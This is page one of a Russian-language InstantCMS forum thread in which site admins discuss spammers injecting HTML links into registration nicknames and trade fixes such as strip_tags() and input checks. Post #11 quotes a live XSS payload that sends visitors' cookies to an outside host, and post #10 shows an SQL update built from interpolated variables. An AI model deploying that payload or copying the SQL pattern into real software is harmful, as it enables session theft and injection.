новые трюки спаммеров, как вылечить ?

1
2
Следующая
Показаны 1-15 из 18

#1 17 мая 2012 в 15:05

новые трюки спаммеров, как вылечить ?
при регистрации в Никнейм:
прописывают < a href="http:// муравсякая. ru/ " >спам< /a >
и ссылка работает.

как запретить прописать в Никнейм <a href="http://

#2 17 мая 2012 в 15:17

Я поступил очень просто, в инпуте ввода имени указал максимальное число символов — 15. Для любых Вась и Петь более чем достаточно.

Skype: pasha--g

#3 17 мая 2012 в 15:22

ха — такой же сегодня зарегался — пока просто удалил у него ссылку с ника и всё — дальше посмотрим

иногда пишу полезные вещи, мои контакты в профиле

Сегодня в 20:19

#4 17 мая 2012 в 15:25

какие молодцы однако спамеры (:

#5 17 мая 2012 в 15:26

Sergey Platonov, так может лучше сразу при изменении никнейма и при регистрации поставить strip_tags() glasses

Всех не усмотришь…

оптимизирую помаленьку

#6 17 мая 2012 в 15:34

lezginka.ru, Воспользуйтесь preg_match на ник пользователя при регистрации и редактировании профиля.

#7 17 мая 2012 в 15:40

Sergey Platonov, так может лучше сразу при изменении никнейма и при регистрации поставить strip_tags() Всех не усмотришь..

SJen

ну пока затихло, если будут долбиться, то придётся срочно бросать учёбу, искать время и прописывать функцию проверки ника при регистрации ещё и на это. а пока в долгий ящик откладывать придётся, если ктонить не сделает

иногда пишу полезные вещи, мои контакты в профиле

#8 17 мая 2012 в 15:55

WALTERZ, а нельзя на пальцах объяснить, т.е. где и что менять?

#9 17 мая 2012 в 15:59

Странно, попробовал произвести регистрацию на 1.9 чистом — ссылка не работает.
Но если что, действительно проще будет:

$nickname=strip_tags($nickname);

#10 17 мая 2012 в 16:03

lezginka.ru, вставьте этот код в frontend.php компонента регистрации
после:

$group_id = $cfg['default_gid'] ? $cfg['default_gid'] : 1;

И в фронтенд компонента users, чтобы не хитрили также с настройками профилей… вставить ДО запроса в EDIT PROFILE:

			$sql = "UPDATE cms_user_profiles 
					SET city = '$city',
						description = '$description',
						showmail='$showmail',
						showbirth='$showbirth',
						showicq='$showicq',
						allow_who='$allow_who',
						signature='$signature',
						gender='$gender' $forms_sql,
						email_newmsg='$email_newmsg',
						cm_subscribe='$cm_subscribe'
					WHERE user_id = '$id'";
			$inDB->query($sql) ;

#11 15 августа 2012 в 23:39

вижу в нике

<script>img = new Image();img.src="http://antiha.h19.ru/s.gif?"+document.cookie;</script>;

логин

scriptimgnewimageimgsrchttpantihah19rusgifdocumentcookiescript

чтобы это значило?

#12 16 августа 2012 в 01:33

всем рекомендую ставить apache2-mpm-itk и это очень сильно повысит безопасность так как там скрипты работают с правами пользователя а не сервера

Раньше РАЙ был везде - РАЙсовет, РАЙком, РАЙсобес...., а сейчас везде АДминистрации! Не надо давать людям советы. Каждый должен лохануться самостоятельно! Любишь в продакшн, люби и баги починить!

#13 17 августа 2012 в 04:21

Уважаемый WALTERZ не могли бы вы подсказать способ как запретить регистрировать новый аккаунт тому кто уже в бане. проверкой по ip (забаненных) конечно есть подтверждение аккаунта но, что стоит активировать его левой почтой или многочисленными проверками + инвайтый сильно замедляют развитие сайта
заранее спасибо за помощь.
PS думаю всем пригодится забанел 1 ip и все с него уже нету нарушений, конечно это не всем пойдет, но все же для меня лично было бы супер другие могу подумать с подсетями когда полностью какую то маску забанеть от греха.

#14 17 августа 2012 в 11:09

Уважаемый WALTERZ не могли бы вы подсказать способ как запретить регистрировать новый аккаунт тому кто уже в бане. проверкой по ip (забаненных) конечно есть подтверждение аккаунта но, что стоит активировать его левой почтой или многочисленными проверками + инвайтый сильно замедляют развитие сайта
Александр

С левыми телефоннными номерами сложней)))) их меньше)

#15 17 августа 2012 в 14:33

WALTERZ, спасибо огромное обновлюсь вашим способом! :)
eoleg, что это такое и как ставить))))

Люблю эту CMS! Я немного художествую тут: http://virelart.ru :) Пока по большей части выкладываюсь тут vk.com/virelart. p.s.: пасибки можно в карму :3

1
2
Следующая
Показаны 1-15 из 18

Видео с ВК

настройка вывода url

Вы не можете отвечать в этой теме.
Войдите или зарегистрируйтесь, чтобы писать на форуме.

новые трюки спаммеров, как вылечить ?

Похожие темы

Не удается обновится

[ЕСТЬ РЕШЕНИЕ] Комментарии

В 14.1 не отображаются новые сообщения

Новые ключи Яндекс перевод для комп.Языки

[ЕСТЬ РЕШЕНИЕ] PHP8. Ошибка в "Виджеты и страницы"

Удаление мусора и новые строки в тексте

InstantCMS Team

О проекте

Поддержка

Дополнения